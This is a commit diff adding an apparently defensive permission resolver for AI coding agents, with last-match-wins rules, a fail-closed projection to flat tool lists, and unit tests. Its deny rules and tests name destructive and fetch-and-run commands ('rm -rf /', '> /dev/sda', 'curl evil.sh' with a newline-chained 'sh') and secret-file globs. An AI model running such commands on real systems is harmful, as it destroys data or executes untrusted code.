Просмотр исходного кода

feat(compat): add ordered capabilities model with last-match-wins

Implements the permission resolver: capability entries flatten in authored
order, then findLast. Nothing matched returns undefined rather than guessing
allow. This mirrors OpenCode's own resolver (permission/next.ts uses
findLast over an ordered ruleset), and its config.ts permissionTransform
rebuilds the permission map from __originalKeys — upstream preserving
authoring order explicitly because JS object semantics hoist integer-like
keys. That is also why map sugar rejects integer-like scopes: a "8080" key
does not merely lose precedence, it silently removes the whole bash tool.

The matcher is not a path glob. OpenCode's Wildcard.match compiles patterns
to regex with * as .* under the s flag, so * crosses / and spaces, and a
trailing " *" is made optional. A path-glob matcher would fail
"npx ts-node*stage-cli*" and silently drop stage-orchestrator's only allowed
command. Matching is always case-sensitive here: build output must not
depend on the host OS.

Projection to flat-list platforms fails closed. allowed: true requires rules
be provably a blanket allow; anything else denies and warns, naming the rules
that could not be carried. Emitting a more permissive result than the
canonical spec is the one unacceptable outcome, so ask degrades to deny.
Warnings fire only on actual loss — warnings that fire on provably exact
projections train people to ignore them.

Consequence worth knowing: most agents lose bash/edit on Claude Code rather
than receive them unscoped. That is the safe direction for the live gap in
index finding #10, but it is a corpus-wide behavioral change.
darrenhinde 2 недель назад
Родитель
Сommit
6966b48e11

+ 347 - 0
packages/compatibility-layer/src/core/Capabilities.ts

@@ -0,0 +1,347 @@
+/**
+ * Capabilities — the shipped permission resolver.
+ *
+ * Ordered rules, LAST-MATCH-WINS, and the fail-closed projection onto targets that have no
+ * scoped-permission concept.
+ *
+ * ## Why this module exists
+ *
+ * `types.ts` guarantees that authored order survives parsing; it deliberately stops there.
+ * Order-preservation without a last-match-wins resolver is not a security property: a
+ * faithful `[allow *, deny rm*]` list plus a first-match resolver answers "rm -rf / →
+ * allow". This module is the resolver that makes the preserved order mean something.
+ *
+ * ## Semantics are copied from OpenCode, not invented here
+ *
+ * Verified live against OpenCode 1.17.20 —
+ * `docs/architecture/canonical-refactor/10-PRECEDENCE-EXPERIMENT.md` — and cross-read against
+ * that release's own resolver (`packages/opencode/src/permission/index.ts`,
+ * `packages/core/src/util/wildcard.ts` @ tag v1.17.20):
+ *
+ * ```ts
+ * rulesets.flat().findLast((rule) =>
+ *   Wildcard.match(permission, rule.permission) && Wildcard.match(pattern, rule.pattern))
+ * ```
+ *
+ * Three consequences this module mirrors exactly:
+ * 1. **Capability entries flatten before resolution**, so a `"*"` capability competes
+ *    positionally with specific ones and can be overridden by a later entry.
+ * 2. **`findLast`** — the last matching rule wins, with no specificity ranking anywhere.
+ * 3. **The scope matcher is a regex-derived wildcard, not a path glob** (see
+ *    {@link matchScope}): `*` crosses `/` and spaces, which is what makes real corpus rules
+ *    like `"npx ts-node*stage-cli*"` and `"bash .opencode/skill/…/router.sh*"` match.
+ *
+ * ## What this module does NOT do
+ *
+ * "No rule matched" is reported as `undefined`, never guessed. OpenCode's own terminal
+ * fallback is `ask`, but in a live install a global baseline rule
+ * (`{permission:"*", pattern:"*", action:"allow"}`) precedes every agent rule — observed
+ * verbatim in probe 1 — so an unmatched request resolves `allow` via that baseline rather
+ * than via the fallback. Hardcoding either answer here would be a fabricated default; the
+ * caller supplies the target's own default, or consults {@link implicitDefault}.
+ */
+
+import type { GranularPermission, PermissionAction, PermissionRuleEntry } from "../types.js";
+
+// ============================================================================
+// Types
+// ============================================================================
+
+/** One rule with its capability attached — the shape OpenCode resolves over. */
+export interface FlatPermissionRule {
+  capability: string;
+  pattern: string;
+  action: PermissionAction;
+}
+
+/**
+ * The terminal default for a capability whose rules do not cover a request (02 §1.2.5,
+ * ratified). Deliberately data, not an exception: this module owns the *rule*, while raising
+ * on `ambiguous` is the parser's call at parse time.
+ */
+export type ImplicitDefault =
+  | { kind: "unconstrained" }
+  | { kind: "total" }
+  | { kind: "default"; action: Extract<PermissionAction, "allow" | "deny"> }
+  | { kind: "ambiguous"; reason: string };
+
+/** A capability collapsed to the single on/off grant a flat-list target can carry. */
+export interface BinaryProjection {
+  allowed: boolean;
+  warnings: string[];
+}
+
+/** Binds a target's tool name to the canonical capability that governs it. */
+export interface ToolBinding {
+  tool: string;
+  capability: string;
+}
+
+/** A canonical permission spec projected onto flat `tools` / `disallowedTools` lists. */
+export interface FlatToolProjection {
+  tools: string[];
+  disallowedTools: string[];
+  warnings: string[];
+}
+
+/** Options shared by the degradation projections. */
+export interface DegradationOptions {
+  /** Target name used in warning text. */
+  target?: string;
+}
+
+// ============================================================================
+// Scope matching
+// ============================================================================
+
+/** Exactly the metacharacter set OpenCode's `Wildcard.match` escapes — `*`/`?` excluded. */
+const REGEX_METACHARACTERS = /[.+^${}()|[\]\\]/g;
+
+/** Patterns provably total. Conservative on purpose: a false negative only fails closed. */
+const TOTAL_PATTERN = /^\*+$/;
+
+/**
+ * Match a concrete candidate against one authored scope pattern.
+ *
+ * A line-by-line mirror of OpenCode 1.17.20's `Wildcard.match(str, pattern)`, including its
+ * quirks, because a matcher that disagrees with the runtime silently mis-reports what a
+ * shipped agent can do:
+ * - `*` → `.*` and `?` → `.`, so wildcards cross `/` and spaces (it is NOT a path glob).
+ * - a pattern ending in `" *"` makes the trailing argument optional, so `"sudo *"` matches
+ *   both `sudo apt install` and a bare `sudo`.
+ * - backslashes normalize to `/` on both sides.
+ *
+ * **Deliberate deviation:** upstream adds the `i` flag on win32. This build is a file
+ * generator whose output must not depend on the host OS (12-DISPATCH determinism rule), so
+ * matching is always case-sensitive. The divergence is confined to Windows authors relying
+ * on case-insensitive scope matching; it makes a rule match *less* often here than at
+ * runtime, which is reported as a degradation rather than assumed away.
+ *
+ * @param candidate concrete request (a command line, a path, an agent id)
+ * @param pattern authored scope pattern
+ */
+export function matchScope(candidate: string, pattern: string): boolean {
+  const subject = candidate.replaceAll("\\", "/");
+  let escaped = pattern
+    .replaceAll("\\", "/")
+    .replace(REGEX_METACHARACTERS, "\\$&")
+    .replace(/\*/g, ".*")
+    .replace(/\?/g, ".");
+
+  if (escaped.endsWith(" .*")) {
+    escaped = `${escaped.slice(0, -3)}( .*)?`;
+  }
+
+  return new RegExp(`^${escaped}$`, "s").test(subject);
+}
+
+/** True when `pattern` matches every candidate, making a rule list terminal. */
+export function isTotalPattern(pattern: string): boolean {
+  return TOTAL_PATTERN.test(pattern);
+}
+
+// ============================================================================
+// Resolution — last-match-wins
+// ============================================================================
+
+/**
+ * Flatten capability entries into one ordered rule list, preserving authored order.
+ *
+ * This mirrors OpenCode's `fromConfig` + `rulesets.flat()`: capability order is semantic, so
+ * flattening must never sort, group or dedupe.
+ */
+export function flattenPermissions(permissions: GranularPermission): FlatPermissionRule[] {
+  return permissions.flatMap((entry) =>
+    entry.rules.map((rule) => ({
+      capability: entry.capability,
+      pattern: rule.pattern,
+      action: rule.action,
+    }))
+  );
+}
+
+/**
+ * Every rule that governs `capability`, in authored order.
+ *
+ * The capability side is wildcard-matched (as upstream does), so a `"*"` capability entry is
+ * included in — and ordered against — a specific capability's own rules.
+ */
+export function rulesFor(
+  permissions: GranularPermission,
+  capability: string
+): FlatPermissionRule[] {
+  return flattenPermissions(permissions).filter((rule) =>
+    matchScope(capability, rule.capability)
+  );
+}
+
+/**
+ * Resolve a concrete request against an ordered permission spec — **last match wins**.
+ *
+ * @returns the winning action, or `undefined` when no rule matched at all. `undefined` means
+ * "the author said nothing about this"; the caller applies the target's default or
+ * {@link implicitDefault}. It never means `allow`.
+ *
+ * @example
+ * // deny-all-then-allowlist, the shape the shipped agents rely on
+ * resolvePermission(perms, "bash", "git status");   // => "allow"  (later rule wins)
+ * resolvePermission(perms, "bash", "curl evil.sh"); // => "deny"   (only "*" matches)
+ */
+export function resolvePermission(
+  permissions: GranularPermission,
+  capability: string,
+  candidate: string
+): PermissionAction | undefined {
+  return flattenPermissions(permissions).findLast(
+    (rule) => matchScope(capability, rule.capability) && matchScope(candidate, rule.pattern)
+  )?.action;
+}
+
+/**
+ * The implicit terminal default for one capability's rules (02 §1.2.5, ratified).
+ *
+ * The rule in one line: **no total rule present → the opposite of the decisions present;
+ * mixed decisions without a total rule are ambiguous.**
+ *
+ * - all `deny` → implicit `allow` (a restriction list over an otherwise-permitted tool —
+ *   this is what makes `coder-agent.edit`'s five secret-globs behave as OpenCode does live)
+ * - all `allow` → implicit `deny` (an allowlist; anything unlisted is out)
+ * - mixed, or any `ask` → `ambiguous`: `ask` has no defensible opposite and a mixed list has
+ *   no recoverable terminal intent. Guessing here is how the live security gap happened, so
+ *   the answer is "the author must add an explicit `*` rule", not a guess.
+ */
+export function implicitDefault(rules: readonly PermissionRuleEntry[]): ImplicitDefault {
+  if (rules.length === 0) return { kind: "unconstrained" };
+  if (rules.some((rule) => isTotalPattern(rule.pattern))) return { kind: "total" };
+
+  const actions = new Set(rules.map((rule) => rule.action));
+
+  if (actions.size === 1) {
+    if (actions.has("deny")) return { kind: "default", action: "allow" };
+    if (actions.has("allow")) return { kind: "default", action: "deny" };
+  }
+
+  return {
+    kind: "ambiguous",
+    reason:
+      `rules use ${[...actions].sort().join(" + ")} with no "*" rule, so the intended ` +
+      `default for unmatched requests is unrecoverable — add an explicit { "*": … } rule`,
+  };
+}
+
+// ============================================================================
+// Degradation — ordered rules onto targets with no scoping
+// ============================================================================
+
+/**
+ * Is this rule list exactly equivalent to one blanket decision?
+ *
+ * Only when every rule carries the same action AND some rule is total. Anything else — an
+ * allowlist under a catch-all deny, an allow-all with exceptions, a bare restriction list
+ * whose implicit default is the opposite of its rules — has at least two possible outcomes
+ * and therefore no flat-list equivalent.
+ */
+function uniformAction(rules: readonly FlatPermissionRule[]): PermissionAction | undefined {
+  const actions = new Set(rules.map((rule) => rule.action));
+  if (actions.size !== 1) return undefined;
+  if (!rules.some((rule) => isTotalPattern(rule.pattern))) return undefined;
+  return rules[0]?.action;
+}
+
+/** Render rules compactly for a warning, so the user sees what could not be carried. */
+function describe(rules: readonly FlatPermissionRule[]): string {
+  return rules.map((rule) => `"${rule.pattern}": ${rule.action}`).join(", ");
+}
+
+/**
+ * Collapse one capability's ordered rules to the single grant a flat-list target can carry.
+ *
+ * **Fails closed by construction.** The projection is `allowed: true` only when the rules are
+ * *provably* a blanket allow. Every other shape — including "there is an allow rule in here
+ * somewhere" — projects to `allowed: false` plus a warning. Consequences that fall out:
+ *
+ * - a rule set containing any `deny` can never yield an allowed tool: it is either a uniform
+ *   deny (denied) or mixed (denied, warned);
+ * - `ask` degrades to `deny`, never `allow`, on targets with no ask concept, and warns;
+ * - the live security gap (a deny-all-then-allowlist `bash`, or `edit` guarded by secret
+ *   globs) surfaces as a loud refusal instead of an unrestricted tool.
+ *
+ * A capability with no rules is `allowed: true` with no warning: that is not a widening but
+ * the ratified "absent capability → the tool's own default" rule (02 §1.2.5 case 1),
+ * confirmed live — `openagent` declares no `write` key and OpenCode permits write.
+ *
+ * @returns `allowed` plus a warning for every semantic actually lost. A provably exact
+ * projection loses nothing and is silent — warnings mean loss, so they must not become noise.
+ */
+export function degradeToBinary(
+  permissions: GranularPermission,
+  capability: string,
+  options: DegradationOptions = {}
+): BinaryProjection {
+  const target = options.target ?? "this target";
+  const rules = rulesFor(permissions, capability);
+
+  if (rules.length === 0) return { allowed: true, warnings: [] };
+
+  const uniform = uniformAction(rules);
+
+  if (uniform === "allow") return { allowed: true, warnings: [] };
+  if (uniform === "deny") return { allowed: false, warnings: [] };
+
+  if (uniform === "ask") {
+    return {
+      allowed: false,
+      warnings: [
+        `⚠️  Permission '${capability}: ask' degraded to 'deny' for ${target}: ` +
+          `${target} has no 'ask' concept, and 'allow' would grant unprompted what the ` +
+          `author wanted confirmed.`,
+      ],
+    };
+  }
+
+  const warnings = [
+    `⚠️  Permission '${capability}' has no equivalent on ${target}: ` +
+      `${rules.length} ordered rule(s) [${describe(rules)}] resolve differently per request, ` +
+      `but ${target} carries one flat on/off decision. Projected to 'deny' (fail-closed) — ` +
+      `granting '${capability}' would hand ${target} the tool with none of the scoping.`,
+  ];
+
+  if (rules.some((rule) => rule.action === "ask")) {
+    warnings.push(
+      `⚠️  Permission '${capability}' contains 'ask' rule(s), which ${target} cannot express.`
+    );
+  }
+
+  const fallback = implicitDefault(rules);
+  if (fallback.kind === "ambiguous") {
+    warnings.push(`⚠️  Permission '${capability}' is ambiguous: ${fallback.reason}.`);
+  }
+
+  return { allowed: false, warnings };
+}
+
+/**
+ * Project a canonical permission spec onto a target's flat `tools` / `disallowedTools` lists.
+ *
+ * Every bound tool lands in exactly one list — never omitted from both, because "absent"
+ * reads as "target default" to the target and would hand back the ambiguity this projection
+ * exists to remove. Deterministic: output follows `bindings` order and nothing is sorted.
+ *
+ * @param bindings the target's tool names paired with the capability governing each. Supplied
+ * by the adapter, which owns tool naming; this module owns only the allow/deny decision.
+ */
+export function projectToFlatTools(
+  permissions: GranularPermission,
+  bindings: readonly ToolBinding[],
+  options: DegradationOptions = {}
+): FlatToolProjection {
+  const projection: FlatToolProjection = { tools: [], disallowedTools: [], warnings: [] };
+
+  for (const binding of bindings) {
+    const { allowed, warnings } = degradeToBinary(permissions, binding.capability, options);
+    (allowed ? projection.tools : projection.disallowedTools).push(binding.tool);
+    projection.warnings.push(...warnings);
+  }
+
+  return projection;
+}

+ 10 - 0
packages/compatibility-layer/src/core/CapabilityMatrix.ts

@@ -13,6 +13,16 @@
 
 import type { OpenAgent, ToolCapabilities } from "../types.js";
 
+/**
+ * Re-export only. The ordered-rule collapse lives in `Capabilities.ts`, which owns
+ * last-match-wins; this file is a static per-platform support matrix and must not grow a
+ * second, divergent resolver. Callers reach `degradeToBinary` here because a per-capability
+ * grant is the matrix's own question ("what survives on this platform?"), answered by the
+ * resolver rather than duplicated against it.
+ */
+export { degradeToBinary } from "./Capabilities.js";
+export type { BinaryProjection } from "./Capabilities.js";
+
 // ============================================================================
 // Types
 // ============================================================================

+ 341 - 0
packages/compatibility-layer/tests/unit/core/Capabilities.test.ts

@@ -0,0 +1,341 @@
+/**
+ * Unit tests for the shipped capability resolver.
+ *
+ * Scope, so this does not read as a duplicate of `tests/unit/build/permission-ordering.test.ts`:
+ * that suite is subtask 03's acceptance contract and asserts the *externally promised*
+ * behaviour (last-match-wins; degradation fails closed). This suite is the module's own,
+ * covering the parts that contract does not reach: the scope matcher's real quirks, the
+ * implicit-default rule (02 §1.2.5), the flat-tools projection, and the two real corpus
+ * agents named in the subtask brief.
+ *
+ * Every expectation about matching or precedence traces to OpenCode 1.17.20 — either the live
+ * probes in `docs/architecture/canonical-refactor/10-PRECEDENCE-EXPERIMENT.md` or that
+ * release's own `Wildcard.match` / `evaluate` source.
+ */
+
+import { describe, it, expect } from "vitest";
+import {
+  degradeToBinary,
+  flattenPermissions,
+  implicitDefault,
+  isTotalPattern,
+  matchScope,
+  projectToFlatTools,
+  resolvePermission,
+  rulesFor,
+} from "../../../src/core/Capabilities.js";
+import { desugarPermission } from "../../../src/types.js";
+
+/** `.opencode/agent/core/openagent.md`, verbatim from disk. */
+const OPENAGENT = desugarPermission({
+  question: "allow",
+  bash: {
+    "*": "ask",
+    "rm -rf *": "ask",
+    "rm -rf /*": "deny",
+    "sudo *": "deny",
+    "> /dev/*": "deny",
+  },
+  edit: {
+    "**/*.env*": "deny",
+    "**/*.key": "deny",
+    "**/*.secret": "deny",
+    "node_modules/**": "deny",
+    ".git/**": "deny",
+  },
+});
+
+/** `.opencode/agent/subagents/core/stage-orchestrator.md`, verbatim from disk. */
+const STAGE_ORCHESTRATOR = desugarPermission({
+  bash: {
+    "*": "deny",
+    "npx ts-node*stage-cli*": "allow",
+    "bash .opencode/skill/task-management/router.sh*": "allow",
+  },
+  task: {
+    "*": "deny",
+    contextscout: "allow",
+    externalscout: "allow",
+  },
+});
+
+describe("matchScope", () => {
+  it("treats * as a regex wildcard that crosses slashes and spaces, not a path glob", () => {
+    // The distinguishing case: a path-glob matcher (where `*` stops at `/`) returns false
+    // here, and stage-orchestrator would silently lose its only allowed command.
+    expect(matchScope("npx ts-node .opencode/stage-cli x", "npx ts-node*stage-cli*")).toBe(true);
+    expect(matchScope("bash .opencode/skill/task-management/router.sh status", "bash .opencode/skill/task-management/router.sh*")).toBe(true);
+  });
+
+  it("anchors both ends, so a pattern is not a substring search", () => {
+    expect(matchScope("git status", "git status")).toBe(true);
+    expect(matchScope("git status --short", "git status")).toBe(false);
+    expect(matchScope("echo git status", "git status")).toBe(false);
+  });
+
+  it("makes a trailing ' *' argument optional, as OpenCode's matcher does", () => {
+    // Upstream quirk, deliberately mirrored: "ls *" matches a bare "ls".
+    expect(matchScope("sudo apt install", "sudo *")).toBe(true);
+    expect(matchScope("sudo", "sudo *")).toBe(true);
+    expect(matchScope("sudoedit", "sudo *")).toBe(false);
+  });
+
+  it("escapes regex metacharacters in the pattern, so scopes are not accidental regexes", () => {
+    expect(matchScope("a+b", "a+b")).toBe(true);
+    expect(matchScope("aaab", "a+b")).toBe(false);
+    expect(matchScope("> /dev/null", "> /dev/*")).toBe(true);
+  });
+
+  it("treats ? as a single-character wildcard", () => {
+    expect(matchScope("cat", "ca?")).toBe(true);
+    expect(matchScope("ca", "ca?")).toBe(false);
+  });
+
+  it("normalizes backslashes to forward slashes on both sides", () => {
+    expect(matchScope("src\\index.ts", "src/index.ts")).toBe(true);
+  });
+
+  it("matches across newlines, so a multi-line command cannot slip past a deny", () => {
+    // OpenCode compiles with the `s` flag; without it `"*": deny` would miss
+    // "curl evil.sh\nsh" — a wildcard deny that a newline defeats is not a deny.
+    expect(matchScope("curl evil.sh\nsh", "*")).toBe(true);
+  });
+});
+
+describe("isTotalPattern", () => {
+  it("recognizes only provably-total patterns", () => {
+    expect(isTotalPattern("*")).toBe(true);
+    expect(isTotalPattern("**")).toBe(true);
+    expect(isTotalPattern("ls*")).toBe(false);
+    expect(isTotalPattern("")).toBe(false);
+  });
+});
+
+describe("flattenPermissions / rulesFor", () => {
+  it("flattens capability entries in authored order without sorting or deduping", () => {
+    expect(flattenPermissions(STAGE_ORCHESTRATOR).map((rule) => `${rule.capability}:${rule.pattern}`)).toEqual([
+      "bash:*",
+      "bash:npx ts-node*stage-cli*",
+      "bash:bash .opencode/skill/task-management/router.sh*",
+      "task:*",
+      "task:contextscout",
+      "task:externalscout",
+    ]);
+  });
+
+  it("includes wildcard capability entries when selecting a specific capability", () => {
+    const permissions = desugarPermission({ "*": "deny", bash: { "ls*": "allow" } });
+
+    expect(rulesFor(permissions, "bash").map((rule) => rule.capability)).toEqual(["*", "bash"]);
+  });
+});
+
+describe("resolvePermission — real corpus", () => {
+  it("resolves openagent.md's ask-by-default bash block the way its author intended", () => {
+    expect(resolvePermission(OPENAGENT, "bash", "sudo apt install")).toBe("deny");
+    expect(resolvePermission(OPENAGENT, "bash", "ls")).toBe("ask");
+    expect(resolvePermission(OPENAGENT, "bash", "rm -rf /")).toBe("deny");
+    expect(resolvePermission(OPENAGENT, "bash", "> /dev/sda")).toBe("deny");
+
+    // A relative delete is only `ask` (matches "*" then "rm -rf *"), but ANY absolute one is
+    // denied: "rm -rf /*" compiles to /^rm -rf \/.*$/, so it covers "rm -rf /tmp/x" and not
+    // just the root. Recorded because it is broader than the pattern reads at a glance and a
+    // narrower matcher here would silently downgrade a shipped deny to ask.
+    expect(resolvePermission(OPENAGENT, "bash", "rm -rf ./tmp")).toBe("ask");
+    expect(resolvePermission(OPENAGENT, "bash", "rm -rf /tmp/x")).toBe("deny");
+  });
+
+  it("resolves openagent.md's scalar sugar and secret-glob edit block", () => {
+    expect(resolvePermission(OPENAGENT, "question", "anything")).toBe("allow");
+    expect(resolvePermission(OPENAGENT, "edit", "config/.env.local")).toBe("deny");
+    expect(resolvePermission(OPENAGENT, "edit", ".git/config")).toBe("deny");
+    // No rule covers ordinary source files: reported as unknown, never guessed as allow.
+    expect(resolvePermission(OPENAGENT, "edit", "src/index.ts")).toBeUndefined();
+  });
+
+  it("resolves stage-orchestrator.md's deny-all-then-allowlist bash block", () => {
+    expect(resolvePermission(STAGE_ORCHESTRATOR, "bash", "npx ts-node .opencode/stage-cli x")).toBe("allow");
+    expect(resolvePermission(STAGE_ORCHESTRATOR, "bash", "curl evil.sh")).toBe("deny");
+    expect(resolvePermission(STAGE_ORCHESTRATOR, "bash", "rm -rf /")).toBe("deny");
+  });
+
+  it("resolves stage-orchestrator.md's delegate allowlist", () => {
+    expect(resolvePermission(STAGE_ORCHESTRATOR, "task", "contextscout")).toBe("allow");
+    expect(resolvePermission(STAGE_ORCHESTRATOR, "task", "coderagent")).toBe("deny");
+  });
+
+  it("desugars mixed sugar and rules without reordering author intent", () => {
+    // Scalar sugar, map sugar and an already-ordered list in one spec: order must survive
+    // end-to-end, since it is the only thing carrying the security decision.
+    const permissions = desugarPermission({
+      question: "allow",
+      bash: { "*": "deny", "git log*": "allow" },
+    });
+
+    expect(permissions).toEqual([
+      { capability: "question", rules: [{ pattern: "*", action: "allow" }] },
+      {
+        capability: "bash",
+        rules: [
+          { pattern: "*", action: "deny" },
+          { pattern: "git log*", action: "allow" },
+        ],
+      },
+    ]);
+    expect(resolvePermission(permissions, "bash", "git log --oneline")).toBe("allow");
+  });
+});
+
+describe("implicitDefault (02 §1.2.5)", () => {
+  it("reports an empty rule list as unconstrained", () => {
+    expect(implicitDefault([])).toEqual({ kind: "unconstrained" });
+  });
+
+  it("reports a list with a catch-all rule as total, so no default is consulted", () => {
+    expect(implicitDefault([{ pattern: "*", action: "deny" }])).toEqual({ kind: "total" });
+  });
+
+  it("defaults a homogeneous-deny restriction list to allow", () => {
+    // coder-agent.edit's shape: five secret globs, no "*" rule. Implicit allow is exactly
+    // OpenCode's live behaviour — anything but a restriction list here would strip a
+    // capability the agent relies on.
+    expect(
+      implicitDefault([
+        { pattern: "**/*.env*", action: "deny" },
+        { pattern: ".git/**", action: "deny" },
+      ])
+    ).toEqual({ kind: "default", action: "allow" });
+  });
+
+  it("defaults a homogeneous-allow allowlist to deny", () => {
+    expect(
+      implicitDefault([
+        { pattern: "contextscout", action: "allow" },
+        { pattern: "externalscout", action: "allow" },
+      ])
+    ).toEqual({ kind: "default", action: "deny" });
+  });
+
+  it("reports a mixed list with no catch-all as ambiguous rather than guessing", () => {
+    const result = implicitDefault([
+      { pattern: "docs/**", action: "allow" },
+      { pattern: "**/*.env*", action: "deny" },
+    ]);
+
+    expect(result.kind).toBe("ambiguous");
+  });
+
+  it("reports any ask without a catch-all as ambiguous, because ask has no opposite", () => {
+    expect(implicitDefault([{ pattern: "rm -rf *", action: "ask" }]).kind).toBe("ambiguous");
+  });
+});
+
+describe("degradeToBinary", () => {
+  it("grants a capability whose rules are provably a blanket allow, silently", () => {
+    const result = degradeToBinary(OPENAGENT, "question", { target: "Claude Code" });
+
+    expect(result).toEqual({ allowed: true, warnings: [] });
+  });
+
+  it("denies a capability whose rules are provably a blanket deny, silently", () => {
+    const result = degradeToBinary(desugarPermission({ bash: "deny" }), "bash");
+
+    expect(result).toEqual({ allowed: false, warnings: [] });
+  });
+
+  it("leaves an unconstrained capability to the target's default", () => {
+    // 02 §1.2.5 case 1, confirmed live: openagent declares no `write` and OpenCode permits
+    // write. Defaulting to deny here would silently strip a capability the agent relies on.
+    expect(degradeToBinary(OPENAGENT, "write")).toEqual({ allowed: true, warnings: [] });
+  });
+
+  it("fails closed on a deny-all-then-allowlist and names what was lost", () => {
+    const result = degradeToBinary(STAGE_ORCHESTRATOR, "bash", { target: "Claude Code" });
+
+    expect(result.allowed).toBe(false);
+    expect(result.warnings).toHaveLength(1);
+    expect(result.warnings[0]).toContain("npx ts-node*stage-cli*");
+    expect(result.warnings[0]).toContain("Claude Code");
+  });
+
+  it("degrades a uniform ask to deny, never allow, and warns", () => {
+    const result = degradeToBinary(desugarPermission({ bash: { "*": "ask" } }), "bash", {
+      target: "Claude Code",
+    });
+
+    expect(result.allowed).toBe(false);
+    expect(result.warnings[0]).toContain("ask");
+  });
+
+  it("fails closed on openagent's ask-with-denies bash block and flags the ask", () => {
+    const result = degradeToBinary(OPENAGENT, "bash", { target: "Claude Code" });
+
+    expect(result.allowed).toBe(false);
+    expect(result.warnings.some((warning) => warning.includes("'ask' rule(s)"))).toBe(true);
+  });
+
+  it("fails closed on a secret-glob restriction list, closing the live security gap", () => {
+    // The whole point: openagent.edit's implicit default is `allow`, so a permissive collapse
+    // grants Edit with all five secret globs gone. Denying is the only honest answer.
+    const result = degradeToBinary(OPENAGENT, "edit", { target: "Claude Code" });
+
+    expect(result.allowed).toBe(false);
+    expect(result.warnings[0]).toContain("**/*.env*");
+  });
+
+  it("never allows a capability that carries any deny rule, whatever the order", () => {
+    const shapes = [
+      { bash: { "*": "allow", "rm*": "deny" } },
+      { bash: { "rm*": "deny", "*": "allow" } },
+      { bash: { "*": "deny", "ls*": "allow" } },
+      { bash: { "**/*.env*": "deny" } },
+    ] as const;
+
+    for (const shape of shapes) {
+      const result = degradeToBinary(desugarPermission(shape), "bash");
+      expect(result.allowed, JSON.stringify(shape)).toBe(false);
+      expect(result.warnings.length, JSON.stringify(shape)).toBeGreaterThan(0);
+    }
+  });
+
+  it("honours a wildcard capability entry when collapsing", () => {
+    const permissions = desugarPermission({ "*": "deny" });
+
+    expect(degradeToBinary(permissions, "bash").allowed).toBe(false);
+  });
+});
+
+describe("projectToFlatTools", () => {
+  const bindings = [
+    { tool: "Bash", capability: "bash" },
+    { tool: "Edit", capability: "edit" },
+    { tool: "Read", capability: "read" },
+  ];
+
+  it("places every bound tool in exactly one list, never omitting one", () => {
+    const projection = projectToFlatTools(OPENAGENT, bindings, { target: "Claude Code" });
+
+    // `read` is unconstrained → target default; `bash`/`edit` are scoped → fail closed.
+    expect(projection.tools).toEqual(["Read"]);
+    expect(projection.disallowedTools).toEqual(["Bash", "Edit"]);
+    expect([...projection.tools, ...projection.disallowedTools].sort()).toEqual(
+      bindings.map((binding) => binding.tool).sort()
+    );
+  });
+
+  it("surfaces a warning for every capability whose semantics could not be carried", () => {
+    const projection = projectToFlatTools(OPENAGENT, bindings, { target: "Claude Code" });
+
+    expect(projection.warnings.length).toBeGreaterThan(0);
+    expect(projection.warnings.some((warning) => warning.includes("'bash'"))).toBe(true);
+    expect(projection.warnings.some((warning) => warning.includes("'edit'"))).toBe(true);
+  });
+
+  it("is deterministic: identical input yields byte-identical output in binding order", () => {
+    const first = projectToFlatTools(STAGE_ORCHESTRATOR, bindings, { target: "Claude Code" });
+    const second = projectToFlatTools(STAGE_ORCHESTRATOR, bindings, { target: "Claude Code" });
+
+    expect(first).toEqual(second);
+    expect(first.disallowedTools).toEqual(["Bash"]);
+  });
+});